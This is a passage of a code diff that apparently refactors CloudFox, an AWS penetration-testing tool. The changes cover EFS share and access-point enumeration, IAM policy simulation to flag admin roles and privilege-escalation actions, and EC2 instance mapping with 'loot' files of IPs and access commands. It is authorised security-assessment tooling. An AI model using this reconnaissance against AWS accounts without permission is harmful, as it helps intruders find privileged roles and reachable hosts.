@@ -224,7 +239,8 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
|
||||
err = os.WriteFile(f, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
sharedLogger.Error(err.Error())
|
||||
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), f)
|
||||
@@ -247,94 +263,75 @@ func (m *FilesystemsModule) getEFSSharesPerRegion(r string, wg *sync.WaitGroup,
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationMarker *string
|
||||
var PaginationMarker2 *string
|
||||
|
||||
var policy string
|
||||
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
DescribeFileSystems, err := m.EFSClient.DescribeFileSystems(
|
||||
|
||||
DescribeFileSystems, err := sdk.CachedDescribeFileSystems(m.EFSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
for _, filesystem := range DescribeFileSystems {
|
||||
name := filesystem.Name
|
||||
id := aws.ToString(filesystem.FileSystemId)
|
||||
|
||||
_, err := m.EFSClient.DescribeFileSystemPolicy(
|
||||
context.TODO(),
|
||||
&efs.DescribeFileSystemsInput{
|
||||
Marker: PaginationMarker,
|
||||
&efs.DescribeFileSystemPolicyInput{
|
||||
FileSystemId: filesystem.FileSystemId,
|
||||
},
|
||||
func(o *efs.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
policy = "Default (No IAM auth)"
|
||||
} else {
|
||||
policy = "IAM Authenticated"
|
||||
}
|
||||
|
||||
DescribeMountTargets, err := sdk.CachedDescribeMountTargets(m.EFSClient, aws.ToString(m.Caller.Account), r, id)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
for _, filesystem := range DescribeFileSystems.FileSystems {
|
||||
name := filesystem.Name
|
||||
id := filesystem.FileSystemId
|
||||
//dnsName := fmt.Sprintf("%s.efs.%s.amazonaws.com", *id, r)
|
||||
for _, mountTarget := range DescribeMountTargets {
|
||||
ip := *mountTarget.IpAddress
|
||||
mountTarget := aws.ToString(mountTarget.MountTargetId)
|
||||
awsService := "EFS"
|
||||
|
||||
_, err := m.EFSClient.DescribeFileSystemPolicy(
|
||||
context.TODO(),
|
||||
&efs.DescribeFileSystemPolicyInput{
|
||||
FileSystemId: id,
|
||||
},
|
||||
func(o *efs.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
accessPoints, err := sdk.CachedDescribeAccessPoints(m.EFSClient, aws.ToString(m.Caller.Account), r, id)
|
||||
if err != nil {
|
||||
policy = "Default (No IAM auth)"
|
||||
}
|
||||
sharedLogger.Error(err.Error())
|
||||
|
||||
for {
|
||||
DescribeMountTargets, err := m.EFSClient.DescribeMountTargets(
|
||||
context.TODO(),
|
||||
&efs.DescribeMountTargetsInput{
|
||||
FileSystemId: id,
|
||||
Marker: PaginationMarker2,
|
||||
},
|
||||
func(o *efs.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
for _, mountTarget := range DescribeMountTargets.MountTargets {
|
||||
mountTargetId := mountTarget.MountTargetId
|
||||
ip := *mountTarget.IpAddress
|
||||
awsService := "EFS"
|
||||
|
||||
dataReceiver <- FilesystemObject{
|
||||
AWSService: awsService,
|
||||
Region: r,
|
||||
Name: aws.ToString(name),
|
||||
DnsName: ip,
|
||||
Policy: policy,
|
||||
MountTarget: aws.ToString(mountTargetId),
|
||||
}
|
||||
}
|
||||
if DescribeMountTargets.NextMarker != nil {
|
||||
PaginationMarker2 = DescribeMountTargets.NextMarker
|
||||
} else {
|
||||
PaginationMarker2 = nil
|
||||
break
|
||||
m.CommandCounter.Error++
|
||||
dataReceiver <- FilesystemObject{
|
||||
AWSService: awsService,
|
||||
Region: r,
|
||||
Name: aws.ToString(name),
|
||||
DnsName: ip,
|
||||
Policy: policy,
|
||||
MountTarget: mountTarget,
|
||||
Permissions: "access denied",
|
||||
}
|
||||
}
|
||||
|
||||
//awsService := fmt.Sprintf("EFS [%s]", fsType)
|
||||
for _, accessPoint := range accessPoints {
|
||||
path, permissions := m.getEFSfilesystemPermissions(accessPoint)
|
||||
dataReceiver <- FilesystemObject{
|
||||
AWSService: awsService,
|
||||
Region: r,
|
||||
Name: aws.ToString(name),
|
||||
DnsName: ip,
|
||||
Policy: policy,
|
||||
MountTarget: path,
|
||||
Permissions: permissions,
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if DescribeFileSystems.NextMarker != nil {
|
||||
PaginationMarker = DescribeFileSystems.NextMarker
|
||||
} else {
|
||||
PaginationMarker = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -369,7 +366,8 @@ func (m *FilesystemsModule) getFSxSharesPerRegion(r string, wg *sync.WaitGroup,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
sharedLogger.Error(err.Error())
|
||||
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
@@ -484,3 +482,16 @@ func (m *FilesystemsModule) getFSxSharesPerRegion(r string, wg *sync.WaitGroup,
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *FilesystemsModule) getEFSfilesystemPermissions(accessPoint types.AccessPointDescription) (string, string) {
|
||||
var path string
|
||||
var permissions string
|
||||
|
||||
if accessPoint.AccessPointId != nil && accessPoint.RootDirectory != nil && accessPoint.RootDirectory.CreationInfo != nil {
|
||||
path = aws.ToString(accessPoint.RootDirectory.Path)
|
||||
permissions = aws.ToString(accessPoint.RootDirectory.CreationInfo.Permissions)
|
||||
return path, permissions
|
||||
}
|
||||
return "", ""
|
||||
|
||||
}
|
||||
+86
-122
@@ -10,6 +10,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
@@ -19,10 +20,7 @@ import (
|
||||
|
||||
type IamSimulatorModule struct {
|
||||
// General configuration data
|
||||
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
|
||||
IAMListUsersClient iam.ListUsersAPIClient
|
||||
IAMListRolesClient iam.ListRolesAPIClient
|
||||
|
||||
IAMClient sdk.AWSIAMClientInterface
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
@@ -59,9 +57,9 @@ var (
|
||||
"ecr:GetAuthorizationToken",
|
||||
"eks:UpdateClusterConfig",
|
||||
"lambda:ListFunctions",
|
||||
"ecs:DescribeTaskDefinition",
|
||||
"apprunner:DescribeService",
|
||||
"ec2:DescribeInstanceAttributeInput",
|
||||
"sns:Subscribe",
|
||||
"sqs:SendMessage",
|
||||
}
|
||||
TxtLogger = internal.TxtLogger()
|
||||
)
|
||||
@@ -75,7 +73,7 @@ func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string,
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
var actionList []string
|
||||
var pmapperCommands []string
|
||||
var pmapperOutFileName string
|
||||
@@ -173,15 +171,30 @@ func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string,
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
fmt.Printf("[%s][%s] We suggest running the pmapper commands in the loot file to get the same information but taking privesc paths into account.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// fmt.Printf("[%s]\t\tpmapper --profile %s graph create\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.AWSProfile)
|
||||
// for _, line := range pmapperCommands {
|
||||
// fmt.Printf("[%s]\t\t%s", cyan(m.output.CallingModule), cyan(m.AWSProfile), line)
|
||||
// }
|
||||
m.writeLoot(m.output.FilePath, verbosity, pmapperCommands)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity, pmapperCommands)
|
||||
|
||||
} else if principal != "" || action != "" {
|
||||
fmt.Printf("[%s][%s] No allowed permissions identified, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
@@ -249,47 +262,31 @@ func (m *IamSimulatorModule) getIAMUsers(wg *sync.WaitGroup, actions []string, r
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
|
||||
for {
|
||||
ListUsers, err := m.IAMListUsersClient.ListUsers(
|
||||
context.TODO(),
|
||||
&iam.ListUsersInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
|
||||
for _, user := range ListUsers.Users {
|
||||
//name := user.UserName
|
||||
principal := user.Arn
|
||||
adminCheckResult := m.isPrincipalAnAdmin(principal)
|
||||
if adminCheckResult {
|
||||
query := "Appears to be an administrator"
|
||||
dataReceiver <- SimulatorResult{
|
||||
AWSService: "IAM",
|
||||
Principal: aws.ToString(principal),
|
||||
Query: query,
|
||||
Decision: "",
|
||||
}
|
||||
} else {
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
for _, user := range ListUsers {
|
||||
//name := user.UserName
|
||||
principal := user.Arn
|
||||
adminCheckResult := m.isPrincipalAnAdmin(principal)
|
||||
if adminCheckResult {
|
||||
query := "Appears to be an administrator"
|
||||
dataReceiver <- SimulatorResult{
|
||||
AWSService: "IAM",
|
||||
Principal: aws.ToString(principal),
|
||||
Query: query,
|
||||
Decision: "",
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if ListUsers.Marker != nil {
|
||||
PaginationControl = ListUsers.Marker
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -304,99 +301,66 @@ func (m *IamSimulatorModule) getIAMRoles(wg *sync.WaitGroup, actions []string, r
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
|
||||
for {
|
||||
ListRoles, err := m.IAMListRolesClient.ListRoles(
|
||||
context.TODO(),
|
||||
&iam.ListRolesInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
|
||||
for _, role := range ListRoles.Roles {
|
||||
//name := user.UserName
|
||||
principal := role.Arn
|
||||
adminCheckResult := m.isPrincipalAnAdmin(principal)
|
||||
if adminCheckResult {
|
||||
query := "Appears to be an administrator"
|
||||
dataReceiver <- SimulatorResult{
|
||||
AWSService: "IAM",
|
||||
Principal: aws.ToString(principal),
|
||||
Query: query,
|
||||
Decision: "",
|
||||
}
|
||||
} else {
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
}
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if ListRoles.Marker != nil {
|
||||
PaginationControl = ListRoles.Marker
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
for _, role := range ListRoles {
|
||||
//name := user.UserName
|
||||
principal := role.Arn
|
||||
adminCheckResult := m.isPrincipalAnAdmin(principal)
|
||||
if adminCheckResult {
|
||||
query := "Appears to be an administrator"
|
||||
dataReceiver <- SimulatorResult{
|
||||
AWSService: "IAM",
|
||||
Principal: aws.ToString(principal),
|
||||
Query: query,
|
||||
Decision: "",
|
||||
}
|
||||
} else {
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *IamSimulatorModule) getPolicySimulatorResult(principal *string, actionNames []string, resource string, dataReceiver chan SimulatorResult) {
|
||||
var PaginationControl2 *string
|
||||
|
||||
//var policySourceArn = "*"
|
||||
//var arn *string
|
||||
var resourceArns []string
|
||||
resourceArns = append(resourceArns, resource)
|
||||
//var resourceArns = []string{"*"}
|
||||
|
||||
for {
|
||||
SimulatePrincipalPolicy, err := m.IAMSimulatePrincipalPolicyClient.SimulatePrincipalPolicy(
|
||||
context.TODO(),
|
||||
&iam.SimulatePrincipalPolicyInput{
|
||||
Marker: PaginationControl2,
|
||||
ActionNames: actionNames,
|
||||
PolicySourceArn: principal,
|
||||
ResourceArns: resourceArns,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.modLog.Error(fmt.Sprintf("Failed to query actions for %s\n\n", aws.ToString(principal)))
|
||||
EvaluationResults, err := sdk.CachedIamSimulatePrincipalPolicy(m.IAMClient, aws.ToString(m.Caller.Account), principal, actionNames, resourceArns)
|
||||
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.modLog.Error(fmt.Sprintf("Failed to query actions for %s\n\n", aws.ToString(principal)))
|
||||
return
|
||||
}
|
||||
|
||||
for _, result := range SimulatePrincipalPolicy.EvaluationResults {
|
||||
evalName := result.EvalActionName
|
||||
query := fmt.Sprintf("can %s on %s", *evalName, resource)
|
||||
decision := result.EvalDecision
|
||||
if decision == "allowed" {
|
||||
dataReceiver <- SimulatorResult{
|
||||
AWSService: "IAM",
|
||||
Principal: aws.ToString(principal),
|
||||
Query: query,
|
||||
Decision: string(decision),
|
||||
}
|
||||
for _, result := range EvaluationResults {
|
||||
evalName := result.EvalActionName
|
||||
query := fmt.Sprintf("can %s on %s", *evalName, resource)
|
||||
decision := result.EvalDecision
|
||||
if decision == "allowed" {
|
||||
dataReceiver <- SimulatorResult{
|
||||
AWSService: "IAM",
|
||||
Principal: aws.ToString(principal),
|
||||
Query: query,
|
||||
Decision: string(decision),
|
||||
}
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if SimulatePrincipalPolicy.Marker != nil {
|
||||
PaginationControl2 = SimulatePrincipalPolicy.Marker
|
||||
} else {
|
||||
PaginationControl2 = nil
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
|
||||
@@ -412,7 +376,7 @@ func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
|
||||
"ssm:GetDocument",
|
||||
}
|
||||
for {
|
||||
SimulatePrincipalPolicy, err := m.IAMSimulatePrincipalPolicyClient.SimulatePrincipalPolicy(
|
||||
SimulatePrincipalPolicy, err := m.IAMClient.SimulatePrincipalPolicy(
|
||||
context.TODO(),
|
||||
&iam.SimulatePrincipalPolicyInput{
|
||||
Marker: PaginationControl2,
|
||||
|
||||
+178
-62
@@ -10,6 +10,7 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ec2"
|
||||
@@ -23,21 +24,20 @@ import (
|
||||
|
||||
type InstancesModule struct {
|
||||
// General configuration data
|
||||
EC2Client *ec2.Client
|
||||
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
|
||||
IAMListInstanceProfilesClient iam.ListInstanceProfilesAPIClient
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
UserDataAttributesOnly bool
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
InstanceProfileToRolesMap map[string][]iamTypes.Role
|
||||
SkipAdminCheck bool
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
iamSimClient IamSimulatorModule
|
||||
EC2Client *ec2.Client
|
||||
IAMClient sdk.AWSIAMClientInterface
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
UserDataAttributesOnly bool
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
InstanceProfileToRolesMap map[string][]iamTypes.Role
|
||||
SkipAdminCheck bool
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
iamSimClient IamSimulatorModule
|
||||
|
||||
// Module's Results
|
||||
MappedInstances []MappedInstance
|
||||
@@ -91,15 +91,15 @@ func (m *InstancesModule) Instances(filter string, outputFormat string, outputDi
|
||||
fmt.Printf("[%s][%s] Enumerating EC2 instances in all regions for account %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
|
||||
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
|
||||
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
|
||||
if m.pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
// if m.pmapperError != nil {
|
||||
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
wg := new(sync.WaitGroup)
|
||||
|
||||
@@ -149,7 +149,7 @@ func (m *InstancesModule) Instances(filter string, outputFormat string, outputDi
|
||||
if m.UserDataAttributesOnly {
|
||||
m.printInstancesUserDataAttributesOnly(outputFormat, outputDirectory, dataReceiver)
|
||||
} else {
|
||||
m.printGeneralInstanceData(outputFormat, outputDirectory, dataReceiver)
|
||||
m.printGeneralInstanceData(outputFormat, outputDirectory, dataReceiver, verbosity)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -173,7 +173,7 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputFormat stri
|
||||
}()
|
||||
|
||||
m.output.CallingModule = "instance-userdata"
|
||||
path := filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile, "loot")
|
||||
path := filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)), "loot")
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
@@ -203,7 +203,7 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputFormat stri
|
||||
}
|
||||
// only create a file if if there is at least one instance AND at least one instance had user-data.
|
||||
if (len(m.MappedInstances) > 0) && (userDataOut != "=============================================\n") {
|
||||
if m.output.Verbosity > 1 {
|
||||
if m.output.Verbosity > 2 {
|
||||
fmt.Printf("%s", userDataOut)
|
||||
}
|
||||
err = os.WriteFile(userDataFileName, []byte(userDataOut), 0644)
|
||||
@@ -217,49 +217,107 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputFormat stri
|
||||
}
|
||||
}
|
||||
|
||||
func (m *InstancesModule) printGeneralInstanceData(outputFormat string, outputDirectory string, dataReceiver chan MappedInstance) {
|
||||
func (m *InstancesModule) printGeneralInstanceData(outputFormat string, outputDirectory string, dataReceiver chan MappedInstance, verbosity int) {
|
||||
// Prepare Table headers
|
||||
//m.output.Headers = table.Row{
|
||||
m.output.Headers = []string{
|
||||
//"ID",
|
||||
"Name",
|
||||
//"Arn",
|
||||
"ID",
|
||||
"Zone",
|
||||
"State",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
if m.pmapperError == nil {
|
||||
|
||||
m.output.Headers = []string{
|
||||
//"ID",
|
||||
"Name",
|
||||
//"Arn",
|
||||
"ID",
|
||||
"Zone",
|
||||
"State",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
//"ID",
|
||||
"Name",
|
||||
//"Arn",
|
||||
"ID",
|
||||
"Zone",
|
||||
"State",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
//Table rows
|
||||
for _, instance := range m.MappedInstances {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
//table.Row{
|
||||
[]string{
|
||||
//instance.ID,
|
||||
instance.Name,
|
||||
//instance.Arn,
|
||||
instance.ID,
|
||||
instance.AvailabilityZone,
|
||||
instance.State,
|
||||
instance.ExternalIP,
|
||||
instance.PrivateIP,
|
||||
instance.Role,
|
||||
instance.Admin,
|
||||
instance.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
if m.pmapperError == nil {
|
||||
|
||||
for _, instance := range m.MappedInstances {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
//table.Row{
|
||||
[]string{
|
||||
//instance.ID,
|
||||
instance.Name,
|
||||
//instance.Arn,
|
||||
instance.ID,
|
||||
instance.AvailabilityZone,
|
||||
instance.State,
|
||||
instance.ExternalIP,
|
||||
instance.PrivateIP,
|
||||
instance.Role,
|
||||
instance.Admin,
|
||||
instance.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
}
|
||||
} else {
|
||||
for _, instance := range m.MappedInstances {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
//table.Row{
|
||||
[]string{
|
||||
//instance.ID,
|
||||
instance.Name,
|
||||
//instance.Arn,
|
||||
instance.ID,
|
||||
instance.AvailabilityZone,
|
||||
instance.State,
|
||||
instance.ExternalIP,
|
||||
instance.PrivateIP,
|
||||
instance.Role,
|
||||
instance.Admin,
|
||||
//instance.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
////m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
|
||||
m.writeLoot(m.output.FilePath)
|
||||
//m.writeLoot(m.output.FilePath)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s instances found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
} else {
|
||||
@@ -267,7 +325,7 @@ func (m *InstancesModule) printGeneralInstanceData(outputFormat string, outputDi
|
||||
}
|
||||
}
|
||||
|
||||
func (m *InstancesModule) writeLoot(outputDirectory string) {
|
||||
func (m *InstancesModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
path := filepath.Join(outputDirectory, "loot")
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
@@ -276,9 +334,14 @@ func (m *InstancesModule) writeLoot(outputDirectory string) {
|
||||
}
|
||||
privateIPsFilename := filepath.Join(path, "instances-ec2PrivateIPs.txt")
|
||||
publicIPsFilename := filepath.Join(path, "instances-ec2PublicIPs.txt")
|
||||
ssmCommandsFilename := filepath.Join(path, "instances-ssmCommands.txt")
|
||||
ec2InstanceConnectCommandsFilename := filepath.Join(path, "instances-ec2InstanceConnectCommands.txt")
|
||||
|
||||
var publicIPs string
|
||||
var privateIPs string
|
||||
var ssmCommands string
|
||||
var ec2InstanceConnectCommands string
|
||||
var headlineName string
|
||||
|
||||
for _, instance := range m.MappedInstances {
|
||||
if instance.ExternalIP != "NoExternalIP" {
|
||||
@@ -288,6 +351,32 @@ func (m *InstancesModule) writeLoot(outputDirectory string) {
|
||||
privateIPs = privateIPs + fmt.Sprintln(instance.PrivateIP)
|
||||
}
|
||||
|
||||
if instance.Name != "" {
|
||||
headlineName = fmt.Sprintf("%s/%s", instance.Name, instance.ID)
